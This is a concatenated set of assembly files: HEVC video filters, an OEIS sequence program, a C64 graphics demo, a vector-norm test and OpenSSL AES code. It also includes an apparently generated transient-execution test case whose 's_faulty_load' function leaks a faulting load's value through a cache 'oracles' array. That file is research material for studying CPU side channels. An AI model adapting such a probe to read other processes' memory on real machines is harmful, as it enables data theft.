packssdw m6, m2
STORE [dstq + i * 2 * blocksize], m6
%assign i (i + 1)
%endrep
add dstq, dststrideq
add srcq, srcstrideq
dec heightd
jg .loop
RET
%endmacro
%if ARCH_X86_64
%macro EPEL_H_10 1
cglobal hevc_epel_h_ %+ %1 %+ _10, 8, 9, 8, dst, dststride, src, srcstride, height, mx, my, sstride3, coeffsreg
EPEL_16 %1, 2, 0
%endmacro
INIT_XMM avx
EPEL_H_10 4
EPEL_H_10 8
EPEL_H_10 12
EPEL_H_10 16
EPEL_H_10 24
EPEL_H_10 32
%macro EPEL_V_10 1
cglobal hevc_epel_v_ %+ %1 %+ _10, 8, 9, 8, dst, dststride, src, srcstride, height, mx, my, sstride3, coeffsreg
EPEL_16 %1, 2, 1
%endmacro
INIT_XMM avx
EPEL_V_10 4
EPEL_V_10 8
EPEL_V_10 12
EPEL_V_10 16
EPEL_V_10 24
EPEL_V_10 32
; hevc_epel_hv_<w>_8(int16_t *dst, ptrdiff_t dststride,
; int16_t *src, ptrdiff_t srcstride,
; int height, int mx, int my, int *mcbuffer)
%macro EPEL_HV 1
cglobal hevc_epel_hv_ %+ %1, 8, 9, 8, dst, dststride, src, srcstride, height, mx, my, sstride3, coeffsreg
EPEL_16 %1, 6, 1
%endmacro
INIT_XMM avx
EPEL_HV 4
EPEL_HV 8
EPEL_HV 12
EPEL_HV 16
EPEL_HV 24
EPEL_HV 32
%endif ; ARCH_X86_64
; hevc_put_unweighted_pred_<w>_<d>(pixel *dst, ptrdiff_t dststride,
; int16_t *src, ptrdiff_t srcstride,
; int height)
%macro AVG 5
%if %3
%if %4 == 4
movq %5, %2
paddsw %1, %5
%else
paddsw %1, %2
%endif
%endif
%endmacro
; %1: 0 - one source; 1 - two sources
; %2: width
; %3: bit depth
%macro PUT_PRED 3
%if %1
cglobal hevc_put_unweighted_pred_avg_ %+ %2 %+ _ %+ %3, 6, 6, 4, dst, dststride, src, src2, srcstride, height
%else
cglobal hevc_put_unweighted_pred_ %+ %2 %+ _ %+ %3, 5, 5, 4, dst, dststride, src, srcstride, height
%endif
%assign shift 14 + %1 - %3
%assign offset (1 << (shift - 1))
%define offset_data pw_ %+ offset
mova m0, [offset_data]
%if %3 > 8
%define STORE_BLOCK movu
%define STORE_HALF movq
%assign pixel_max ((1 << %3) - 1)
%define pw_pixel_max pw_ %+ pixel_max
pxor m1, m1
mova m2, [pw_pixel_max]
%else
%define STORE_BLOCK movq
%define STORE_HALF movd
%endif
.loop
%assign i 0
%rep (%2 + 7) / 8
%if (i + 1) * 8 > %2
%define LOAD movq
%define STORE STORE_HALF
%else
%define LOAD mova
%define STORE STORE_BLOCK
%endif
LOAD m3, [srcq + 16 * i]
AVG m3, [src2q + 16 * i], %1, %3 - i * 8, m4
paddsw m3, m0
psraw m3, shift
%if %3 == 8
packuswb m3, m3
STORE [dstq + 8 * i], m3
%else
CLIPW m3, m1, m2
STORE [dstq + 16 * i], m3
%endif
%assign i (i + 1)
%endrep
add dstq, dststrideq
add srcq, srcstrideq
%if %1
add src2q, srcstrideq
%endif
dec heightd
jg .loop
RET
%endmacro
INIT_XMM sse2
PUT_PRED 0, 4, 8
PUT_PRED 1, 4, 8
PUT_PRED 0, 8, 8
PUT_PRED 1, 8, 8
PUT_PRED 0, 12, 8
PUT_PRED 1, 12, 8
PUT_PRED 0, 16, 8
PUT_PRED 1, 16, 8
PUT_PRED 0, 24, 8
PUT_PRED 1, 24, 8
PUT_PRED 0, 32, 8
PUT_PRED 1, 32, 8
PUT_PRED 0, 48, 8
PUT_PRED 1, 48, 8
PUT_PRED 0, 64, 8
PUT_PRED 1, 64, 8
PUT_PRED 0, 4, 10
PUT_PRED 1, 4, 10
PUT_PRED 0, 8, 10
PUT_PRED 1, 8, 10
PUT_PRED 0, 12, 10
PUT_PRED 1, 12, 10
PUT_PRED 0, 16, 10
PUT_PRED 1, 16, 10
PUT_PRED 0, 24, 10
PUT_PRED 1, 24, 10
PUT_PRED 0, 32, 10
PUT_PRED 1, 32, 10
PUT_PRED 0, 48, 10
PUT_PRED 1, 48, 10
PUT_PRED 0, 64, 10
PUT_PRED 1, 64, 10
%macro PUT_WEIGHTED_PRED 3
%if %1
cglobal hevc_put_weighted_pred_avg_ %+ %2 %+ _ %+ %3, 11, 11, 8, denom, weight0, weight1, offset0, offset1, dst, dststride, src0, src1, srcstride, height
%else
cglobal hevc_put_weighted_pred_ %+ %2 %+ _ %+ %3, 8, 8, 8, denom, weight0, offset0, dst, dststride, src0, srcstride, height
%endif
and denomd, 0xff
movsx weight0d, weight0w
movsx offset0d, offset0w
%if %1
movsx weight1d, weight1w
movsx offset1d, offset1w
%endif
add denomd, 14 + %1 - %3
movd m0, denomd
%if %3 > 8
%assign pixel_max ((1 << %3) - 1)
%define pw_pixel_max pw_ %+ pixel_max
pxor m4, m4
mova m5, [pw_pixel_max]
shl offset0d, %3 - 8
%if %1
shl offset1d, %3 - 8
%endif
%endif
%if %1
lea offset0d, [offset0d + offset1d + 1]
%else
lea offset0d, [2 * offset0d + 1]
%endif
movd m1, offset0d
SPLATD m1
pslld m1, m0
psrad m1, 1
movd m2, weight0d
SPLATD m2
%if %1
movd m3, weight1d
SPLATD m3
%endif
.loop
%assign i 0
%rep (%2 + 3) / 4
pmovsxwd m6, [src0q + 8 * i]
pmulld m6, m2
%if %1
pmovsxwd m7, [src1q + 8 * i]
pmulld m7, m3
paddd m6, m7
%endif
paddd m6, m1
psrad m6, m0
packssdw m6, m6
%if %3 > 8
CLIPW m6, m4, m5
movq [dstq + 8 * i], m6
%else
packuswb m6, m6
movd [dstq + 4 * i], m6
%endif
%assign i (i + 1)
%endrep
add dstq, dststrideq
add src0q, srcstrideq
%if %1
add src1q, srcstrideq
%endif
dec heightd
jg .loop
RET
%endmacro
%if ARCH_X86_64
INIT_XMM sse4
PUT_WEIGHTED_PRED 0, 4, 8
PUT_WEIGHTED_PRED 1, 4, 8
PUT_WEIGHTED_PRED 0, 8, 8
PUT_WEIGHTED_PRED 1, 8, 8
PUT_WEIGHTED_PRED 0, 12, 8
PUT_WEIGHTED_PRED 1, 12, 8
PUT_WEIGHTED_PRED 0, 16, 8
PUT_WEIGHTED_PRED 1, 16, 8
PUT_WEIGHTED_PRED 0, 24, 8
PUT_WEIGHTED_PRED 1, 24, 8
PUT_WEIGHTED_PRED 0, 32, 8
PUT_WEIGHTED_PRED 1, 32, 8
PUT_WEIGHTED_PRED 0, 48, 8
PUT_WEIGHTED_PRED 1, 48, 8
PUT_WEIGHTED_PRED 0, 64, 8
PUT_WEIGHTED_PRED 1, 64, 8
PUT_WEIGHTED_PRED 0, 4, 10
PUT_WEIGHTED_PRED 1, 4, 10
PUT_WEIGHTED_PRED 0, 8, 10
PUT_WEIGHTED_PRED 1, 8, 10
PUT_WEIGHTED_PRED 0, 12, 10
PUT_WEIGHTED_PRED 1, 12, 10
PUT_WEIGHTED_PRED 0, 16, 10
PUT_WEIGHTED_PRED 1, 16, 10
PUT_WEIGHTED_PRED 0, 24, 10
PUT_WEIGHTED_PRED 1, 24, 10
PUT_WEIGHTED_PRED 0, 32, 10
PUT_WEIGHTED_PRED 1, 32, 10
PUT_WEIGHTED_PRED 0, 48, 10
PUT_WEIGHTED_PRED 1, 48, 10
PUT_WEIGHTED_PRED 0, 64, 10
PUT_WEIGHTED_PRED 1, 64, 10
%endif ; ARCH_X86_64
|
programs/oeis/004/A004972.asm | neoneye/loda | 22 | 245245 | <filename>programs/oeis/004/A004972.asm
; A004972: a(n) = ceiling(n*phi^17), where phi is the golden ratio, A001622.
; 0,3572,7143,10714,14285,17856,21427,24998,28569,32140,35711,39282,42853,46424,49995,53566,57137,60708,64279,67850,71421,74992,78563,82134,85705,89276,92847,96418,99989,103560,107131,110702,114273,117844,121415,124986,128557,132128,135699,139270,142841,146412,149983,153554,157125,160696,164267,167838,171409,174980,178551,182122,185693,189264,192835,196406,199977,203548,207119,210690,214261,217832,221403,224974,228545,232116,235687,239258,242829,246400,249971,253542,257113,260684,264255,267826,271397,274968,278539,282110,285681,289252,292823,296394,299965,303536,307107,310678,314249,317820,321391,324962,328533,332104,335675,339246,342817,346388,349959,353530
mov $2,$0
add $2,$0
mul $2,3571
lpb $2
mov $1,$2
add $1,2
mov $2,1
lpe
div $1,2
mov $0,$1
|
mc1demo.asm | rkbrooks/vg64 | 9 | 103903 | ; ML demo for VG64
; <NAME> - <EMAIL>
; New Version 1/19/2020 - for reg scheme
; Assumes token register at $DE00, EXROM high, and NO banking at $8000
; Hires Demo and test code
!to "mc1test.o", cbm
; BASIC stub to get a tokenized SYS command in. Grabbed from
; https://harald.ist.org/howto/c64/acme-asm-template.html
*= $0801 ; Load point $0801 (BASIC START)
_FSTART ; This binary must begin with the bytes
; representing the BASIC program: 0 SYS2061
BASIC_program
!byte $0b,$08 ; $0801 Pointer to next line
!byte $00,$00 ; $0803 Line number (0)
!byte $9e ; $0805 SYS
!byte 48+(entry_point/1000)%10 ; Decimal address of program entry point
!byte 48+(entry_point/100)%10
!byte 48+(entry_point/10)%10
!byte 48+(entry_point/1)%10
!byte $00 ; $080a End of BASIC line
!byte $00,$00 ; $080b End of BASIC program
entry_point ;JMP boot ; $080d First byte after the BASIC program
;; defines
chrout = $ffd2
chrin = $ffcf
autotoken = $C0 ;Multicolor mode, screen on
token = $de00 ; vg64 registers
lsb = $de01
msb = $de02
operand = $de03
zp1 = $fd ; available zero page addrs
zp2 = $fe ; pointer to source
zpA = $fb ; framebuffer pointed in zp
zpB = $fc
;; program
!zone main
boot cld
lda #23
sta $d018 ; Switch to lower case
lda #<menu ; print menu
sta zp1
lda #>menu
sta zp2
jsr stringout
.inp jsr chrin
cmp #$43 ; 'C'
beq clearScreenJ
cmp #$46 ; 'F'
beq fillScreenJ
cmp #$4c ; 'L'
beq loadPicJ
cmp #$56 ; 'V'
beq vertLineJ
cmp #$58 ; 'X'
beq exitPrg
cmp #$45 ; 'E'
beq evenFillJ
cmp #$4f ; 'O'
beq oddFillJ
jmp .inp
exitPrg rts ; Return to BASIC
clearScreenJ jsr clearScreen ; these exist for "long branches"
jmp boot
fillScreenJ jsr fillScreen
jmp boot
loadPicJ jsr loadPic
jmp boot
vertLineJ jsr vertLine
jmp boot
evenFillJ jsr evenFill
jmp boot
oddFillJ jsr oddFill
jmp boot
!zone st
; Prints a string pointed to by zp1+zp2*256, null terminated
stringout ldy #$00
.loop lda (zp1),y
beq .send
jsr chrout
iny
beq .send ; safety to prevent strings >255 characters / endless printing from a bad pointer
jmp .loop
.send rts
!zone lp
; This is where the magic happens
loadPic lda #<picstring ; print message
sta zp1
lda #>picstring
sta zp2
jsr stringout
lda #autotoken
sta token
; setup loop
lda #<bitmap ; load pointer into zero page for
sta zp1 ; source bitmap LSB
lda #>bitmap
sta zp2 ; MSB
lda #$00 ; set to beginning of frame buffer
sta lsb
sta msb
sta zpA
sta zpB
.ol ldx #$00
.l2 lda (zp1,x) ; load bitmap byte into accumulator
sta operand ; store
inc zpA
bne .laa
inc zpB
.laa lda zpA
sta lsb
lda zpB
sta msb
inc zp1 ; inc source lsb
bne .l2a ; if we haven't reached zero, don't increment MSB
bne .laa
inc zp2
.l2a lda zp2
cmp #1+>endOfBitmap
beq .l3
jmp .l2
.l3 lda #<estring ; print completion message
sta zp1
lda #>estring
sta zp2
jsr stringout
rts
!zone na
nonauto ; This routine increments and stores to the pointer hardware
rts
!zone cs
clearScreen
lda #<clearstring
sta zp1
lda #>clearstring
sta zp2
jsr stringout
lda #autotoken
sta token
lda #$00
sta zpA
sta zpB
ldx #$00
.l lda zpA
sta lsb
lda zpB
sta msb
stx operand
inc zpA
bne .l
inc zpB
bne .l
.out rts
!zone fs
fillScreen
lda #<fillstring
sta zp1
lda #>fillstring
sta zp2
jsr stringout
lda #$00
sta zpA
sta zpB
ldx #$ff
.l lda zpA
sta lsb
lda zpB
sta msb
stx operand
inc zpA
bne .l
inc zpB
bne .l
.out rts
!zone ef
evenFill
lda #<fillstring
sta zp1
lda #>fillstring
sta zp2
jsr stringout
lda #autotoken
sta token
lda #$00
sta zpA
sta zpB
ldx #170
.l lda zpA
sta lsb
lda zpB
sta msb
stx operand
inc zpA
bne .l
inc zpB
bne .l
.out rts
!zone of
oddFill
lda #<fillstring
sta zp1
lda #>fillstring
sta zp2
jsr stringout
lda #autotoken
sta token
lda #$00
sta zpA
sta zpB
ldx #85
.l lda zpA
sta lsb
lda zpB
sta msb
stx operand
inc zpA
bne .l
inc zpB
bne .l
.out rts
!zone dl
vertLine
lda #<linestring
sta zp1
lda #>linestring
sta zp2
jsr stringout
.out rts
;; variable
currentBank !byte $40 ; lower nybble is what we care about
;; Strings and binary attachment
menu !pet "MC: Press L to load pic, C to Clear, ",13,"F to Fill, V for vert line,",13,"E/O for even/odd fill, or X to exit:",13,13,0
linestring !pet 13,"Drawing vertical line.",13,0
clearstring !pet 13,"Clearing framebuffer.",13,0
fillstring !pet 13,"Filling framebuffer.",13,0
picstring !pet "Loading pic to video sram...",13,0
estring !pet "Completed.",13,0
bitmap !binary "file.bin"
endOfBitmap
|
src/vector/euclidean_norm/test/test.asm | nikAizuddin/lib80386 | 4 | 163312 | ; 1 2 3 4 5 6 7
;234567890123456789012345678901234567890123456789012345678901234567890
;=====================================================================
;
; *** TEST ***
;
;---------------------------------------------------------------------
;
; AUTHOR: <NAME> <NAME>
; EMAIL: <EMAIL>
; DATE CREATED: 05-APR-2015
;
; TEST PURPOSE: Make sure the euclidean_norm()
; have no defects.
;
; LANGUAGE: x86 Assembly Language
; ASSEMBLER: NASM
; SYNTAX: Intel
; ARCHITECTURE: x86_64
; KERNEL: Linux x86
; FORMAT: elf32
;
; EXTERNAL FILES: ---
;
;=====================================================================
;Include constant symbols and global variables
%include "include/constants.inc"
%include "include/data.inc"
extern euclidean_norm
global _start
section .text
_start:
;B = norm(A[0,:])
lea eax, [A]
mov ebx, 0b0
mov ecx, 0
call euclidean_norm
movss [B], xmm0
;C = norm(A[:,0])
lea eax, [A]
mov ebx, 0b1
mov ecx, 0
call euclidean_norm
movss [C], xmm0
;D = norm(A[2,:])
lea eax, [A]
mov ebx, 0b0
mov ecx, 2
call euclidean_norm
movss [D], xmm0
;E = norm(A[:,1])
lea eax, [A]
mov ebx, 0b1
mov ecx, 1
call euclidean_norm
movss [E], xmm0
exit:
mov eax, SYSCALL_EXIT
mov ebx, 0
int 0x80
|
Transynther/x86/_processed/NC/_zr_/i3-7100_9_0x84_notsx.log_1_1473.asm | ljhsiun2/medusa | 9 | 165933 | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r14
push %r8
push %r9
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x18e97, %r14
nop
nop
nop
xor %r10, %r10
mov $0x6162636465666768, %rdi
movq %rdi, (%r14)
xor $44002, %rbp
lea addresses_WC_ht+0x43d7, %r11
nop
add %r9, %r9
vmovups (%r11), %ymm1
vextracti128 $1, %ymm1, %xmm1
vpextrq $0, %xmm1, %r8
nop
nop
nop
nop
nop
inc %r11
lea addresses_WC_ht+0x14217, %rdi
xor $39304, %r14
movb (%rdi), %r8b
nop
nop
nop
nop
nop
add %r10, %r10
lea addresses_WT_ht+0x217, %rdi
nop
nop
xor $14461, %r14
movw $0x6162, (%rdi)
nop
nop
and %rdi, %rdi
lea addresses_normal_ht+0x1ae7e, %rsi
lea addresses_D_ht+0x324f, %rdi
nop
cmp %r8, %r8
mov $69, %rcx
rep movsb
nop
dec %r8
lea addresses_D_ht+0x4c97, %rbp
nop
nop
inc %rsi
mov (%rbp), %r14d
nop
nop
nop
nop
xor %rbp, %rbp
lea addresses_WT_ht+0xa097, %rsi
xor $30627, %rdi
mov (%rsi), %r10w
nop
nop
nop
nop
add %rcx, %rcx
lea addresses_D_ht+0xa697, %r14
add %rcx, %rcx
mov (%r14), %r9
nop
nop
and %r10, %r10
lea addresses_UC_ht+0x15097, %r8
clflush (%r8)
cmp $1274, %rbp
mov $0x6162636465666768, %r9
movq %r9, %xmm1
movups %xmm1, (%r8)
nop
nop
inc %r11
lea addresses_WT_ht+0x1aaae, %r14
nop
cmp $41622, %rsi
mov (%r14), %r8w
sub $33173, %rdi
lea addresses_normal_ht+0x1b2d7, %r9
nop
nop
add $54915, %rbp
mov $0x6162636465666768, %rdi
movq %rdi, %xmm1
movups %xmm1, (%r9)
nop
cmp $52258, %rsi
lea addresses_A_ht+0xffa8, %rcx
nop
nop
nop
mfence
movb (%rcx), %r9b
nop
nop
nop
nop
cmp %rsi, %rsi
lea addresses_normal_ht+0x1ec17, %r11
nop
nop
xor $9032, %rcx
movb (%r11), %r10b
nop
and $48833, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r8
pop %r14
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r13
push %r14
push %r15
push %r9
push %rsi
// Store
lea addresses_WT+0xd976, %r14
xor $58002, %r10
mov $0x5152535455565758, %rsi
movq %rsi, %xmm4
movups %xmm4, (%r14)
dec %r10
// Store
lea addresses_WT+0x9d9, %r10
nop
xor %r15, %r15
mov $0x5152535455565758, %r11
movq %r11, %xmm2
vmovups %ymm2, (%r10)
nop
nop
nop
nop
xor %r13, %r13
// Store
lea addresses_normal+0x1b897, %r11
clflush (%r11)
inc %r10
mov $0x5152535455565758, %r15
movq %r15, (%r11)
nop
cmp $57852, %r14
// Store
lea addresses_UC+0x18f17, %r9
nop
nop
nop
nop
inc %rsi
movl $0x51525354, (%r9)
nop
cmp $47387, %r9
// Store
lea addresses_normal+0x16f09, %r14
xor $914, %r15
mov $0x5152535455565758, %rsi
movq %rsi, %xmm0
movups %xmm0, (%r14)
nop
nop
nop
nop
add %r15, %r15
// Store
lea addresses_UC+0x6297, %r10
nop
nop
nop
nop
add %rsi, %rsi
movb $0x51, (%r10)
nop
nop
nop
inc %r10
// Store
lea addresses_US+0x19f97, %r13
nop
nop
sub $11266, %r11
mov $0x5152535455565758, %r10
movq %r10, %xmm4
vmovaps %ymm4, (%r13)
nop
nop
sub $17018, %r14
// Store
lea addresses_PSE+0x2497, %r14
nop
nop
nop
and %r10, %r10
movw $0x5152, (%r14)
cmp $50352, %r11
// Load
lea addresses_WT+0x18041, %r14
clflush (%r14)
nop
nop
nop
cmp %r9, %r9
movb (%r14), %r10b
nop
nop
nop
xor %r11, %r11
// Store
mov $0x7271910000000d97, %rsi
nop
nop
nop
nop
cmp $7317, %r14
mov $0x5152535455565758, %r11
movq %r11, %xmm0
movntdq %xmm0, (%rsi)
cmp $7391, %r9
// Store
lea addresses_RW+0xb1cf, %r14
nop
nop
nop
nop
xor $14822, %rsi
movl $0x51525354, (%r14)
nop
cmp $20828, %r15
// Store
lea addresses_normal+0x1d97, %r15
xor %r11, %r11
movb $0x51, (%r15)
nop
nop
nop
nop
nop
and %r13, %r13
// Faulty Load
mov $0x6792330000000897, %r11
nop
add %r13, %r13
movups (%r11), %xmm1
vpextrq $1, %xmm1, %r14
lea oracles, %r9
and $0xff, %r14
shlq $12, %r14
mov (%r9,%r14,1), %r14
pop %rsi
pop %r9
pop %r15
pop %r14
pop %r13
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_NC', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WT', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WT', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_normal', 'same': False, 'size': 8, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_UC', 'same': False, 'size': 4, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_normal', 'same': False, 'size': 16, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_UC', 'same': False, 'size': 1, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_US', 'same': False, 'size': 32, 'congruent': 8, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_PSE', 'same': False, 'size': 2, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WT', 'same': False, 'size': 1, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_NC', 'same': False, 'size': 16, 'congruent': 7, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_RW', 'same': False, 'size': 4, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_normal', 'same': False, 'size': 1, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_NC', 'same': True, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 8, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 32, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 1, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WT_ht', 'same': True, 'size': 2, 'congruent': 6, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 4, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 2, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 8, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 16, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 16, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 1, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'00': 1}
00
*/
|
programs/oeis/001/A001855.asm | neoneye/loda | 22 | 246647 | ; A001855: Sorting numbers: maximal number of comparisons for sorting n elements by binary insertion.
; 0,1,3,5,8,11,14,17,21,25,29,33,37,41,45,49,54,59,64,69,74,79,84,89,94,99,104,109,114,119,124,129,135,141,147,153,159,165,171,177,183,189,195,201,207,213,219,225,231,237,243,249,255,261,267,273,279,285,291,297,303,309,315,321,328,335,342,349,356,363,370,377,384,391,398,405,412,419,426,433,440,447,454,461,468,475,482,489,496,503,510,517,524,531,538,545,552,559,566,573
mov $2,1
lpb $0
add $1,$0
trn $0,$2
mul $2,2
lpe
mov $0,$1
|
examples/pxScene2d/external/libnode-v10.15.3/deps/openssl/config/archs/VC-WIN32/asm/crypto/aes/aes-586.asm | madanagopaltcomcast/pxCore | 918 | 6350 | <reponame>madanagopaltcomcast/pxCore<filename>examples/pxScene2d/external/libnode-v10.15.3/deps/openssl/config/archs/VC-WIN32/asm/crypto/aes/aes-586.asm
%ifidn __OUTPUT_FORMAT__,obj
section code use32 class=code align=64
%elifidn __OUTPUT_FORMAT__,win32
$@feat.00 equ 1
section .text code align=64
%else
section .text code
%endif
align 16
__x86_AES_encrypt_compact:
mov DWORD [20+esp],edi
xor eax,DWORD [edi]
xor ebx,DWORD [4+edi]
xor ecx,DWORD [8+edi]
xor edx,DWORD [12+edi]
mov esi,DWORD [240+edi]
lea esi,[esi*1+esi-2]
lea esi,[esi*8+edi]
mov DWORD [24+esp],esi
mov edi,DWORD [ebp-128]
mov esi,DWORD [ebp-96]
mov edi,DWORD [ebp-64]
mov esi,DWORD [ebp-32]
mov edi,DWORD [ebp]
mov esi,DWORD [32+ebp]
mov edi,DWORD [64+ebp]
mov esi,DWORD [96+ebp]
align 16
L$000loop:
mov esi,eax
and esi,255
movzx esi,BYTE [esi*1+ebp-128]
movzx edi,bh
movzx edi,BYTE [edi*1+ebp-128]
shl edi,8
xor esi,edi
mov edi,ecx
shr edi,16
and edi,255
movzx edi,BYTE [edi*1+ebp-128]
shl edi,16
xor esi,edi
mov edi,edx
shr edi,24
movzx edi,BYTE [edi*1+ebp-128]
shl edi,24
xor esi,edi
mov DWORD [4+esp],esi
mov esi,ebx
and esi,255
shr ebx,16
movzx esi,BYTE [esi*1+ebp-128]
movzx edi,ch
movzx edi,BYTE [edi*1+ebp-128]
shl edi,8
xor esi,edi
mov edi,edx
shr edi,16
and edi,255
movzx edi,BYTE [edi*1+ebp-128]
shl edi,16
xor esi,edi
mov edi,eax
shr edi,24
movzx edi,BYTE [edi*1+ebp-128]
shl edi,24
xor esi,edi
mov DWORD [8+esp],esi
mov esi,ecx
and esi,255
shr ecx,24
movzx esi,BYTE [esi*1+ebp-128]
movzx edi,dh
movzx edi,BYTE [edi*1+ebp-128]
shl edi,8
xor esi,edi
mov edi,eax
shr edi,16
and edx,255
and edi,255
movzx edi,BYTE [edi*1+ebp-128]
shl edi,16
xor esi,edi
movzx edi,bh
movzx edi,BYTE [edi*1+ebp-128]
shl edi,24
xor esi,edi
and edx,255
movzx edx,BYTE [edx*1+ebp-128]
movzx eax,ah
movzx eax,BYTE [eax*1+ebp-128]
shl eax,8
xor edx,eax
mov eax,DWORD [4+esp]
and ebx,255
movzx ebx,BYTE [ebx*1+ebp-128]
shl ebx,16
xor edx,ebx
mov ebx,DWORD [8+esp]
movzx ecx,BYTE [ecx*1+ebp-128]
shl ecx,24
xor edx,ecx
mov ecx,esi
mov ebp,2155905152
and ebp,ecx
lea edi,[ecx*1+ecx]
mov esi,ebp
shr ebp,7
and edi,4278124286
sub esi,ebp
mov ebp,ecx
and esi,454761243
ror ebp,16
xor esi,edi
mov edi,ecx
xor ecx,esi
ror edi,24
xor esi,ebp
rol ecx,24
xor esi,edi
mov ebp,2155905152
xor ecx,esi
and ebp,edx
lea edi,[edx*1+edx]
mov esi,ebp
shr ebp,7
and edi,4278124286
sub esi,ebp
mov ebp,edx
and esi,454761243
ror ebp,16
xor esi,edi
mov edi,edx
xor edx,esi
ror edi,24
xor esi,ebp
rol edx,24
xor esi,edi
mov ebp,2155905152
xor edx,esi
and ebp,eax
lea edi,[eax*1+eax]
mov esi,ebp
shr ebp,7
and edi,4278124286
sub esi,ebp
mov ebp,eax
and esi,454761243
ror ebp,16
xor esi,edi
mov edi,eax
xor eax,esi
ror edi,24
xor esi,ebp
rol eax,24
xor esi,edi
mov ebp,2155905152
xor eax,esi
and ebp,ebx
lea edi,[ebx*1+ebx]
mov esi,ebp
shr ebp,7
and edi,4278124286
sub esi,ebp
mov ebp,ebx
and esi,454761243
ror ebp,16
xor esi,edi
mov edi,ebx
xor ebx,esi
ror edi,24
xor esi,ebp
rol ebx,24
xor esi,edi
xor ebx,esi
mov edi,DWORD [20+esp]
mov ebp,DWORD [28+esp]
add edi,16
xor eax,DWORD [edi]
xor ebx,DWORD [4+edi]
xor ecx,DWORD [8+edi]
xor edx,DWORD [12+edi]
cmp edi,DWORD [24+esp]
mov DWORD [20+esp],edi
jb NEAR L$000loop
mov esi,eax
and esi,255
movzx esi,BYTE [esi*1+ebp-128]
movzx edi,bh
movzx edi,BYTE [edi*1+ebp-128]
shl edi,8
xor esi,edi
mov edi,ecx
shr edi,16
and edi,255
movzx edi,BYTE [edi*1+ebp-128]
shl edi,16
xor esi,edi
mov edi,edx
shr edi,24
movzx edi,BYTE [edi*1+ebp-128]
shl edi,24
xor esi,edi
mov DWORD [4+esp],esi
mov esi,ebx
and esi,255
shr ebx,16
movzx esi,BYTE [esi*1+ebp-128]
movzx edi,ch
movzx edi,BYTE [edi*1+ebp-128]
shl edi,8
xor esi,edi
mov edi,edx
shr edi,16
and edi,255
movzx edi,BYTE [edi*1+ebp-128]
shl edi,16
xor esi,edi
mov edi,eax
shr edi,24
movzx edi,BYTE [edi*1+ebp-128]
shl edi,24
xor esi,edi
mov DWORD [8+esp],esi
mov esi,ecx
and esi,255
shr ecx,24
movzx esi,BYTE [esi*1+ebp-128]
movzx edi,dh
movzx edi,BYTE [edi*1+ebp-128]
shl edi,8
xor esi,edi
mov edi,eax
shr edi,16
and edx,255
and edi,255
movzx edi,BYTE [edi*1+ebp-128]
shl edi,16
xor esi,edi
movzx edi,bh
movzx edi,BYTE [edi*1+ebp-128]
shl edi,24
xor esi,edi
mov edi,DWORD [20+esp]
and edx,255
movzx edx,BYTE [edx*1+ebp-128]
movzx eax,ah
movzx eax,BYTE [eax*1+ebp-128]
shl eax,8
xor edx,eax
mov eax,DWORD [4+esp]
and ebx,255
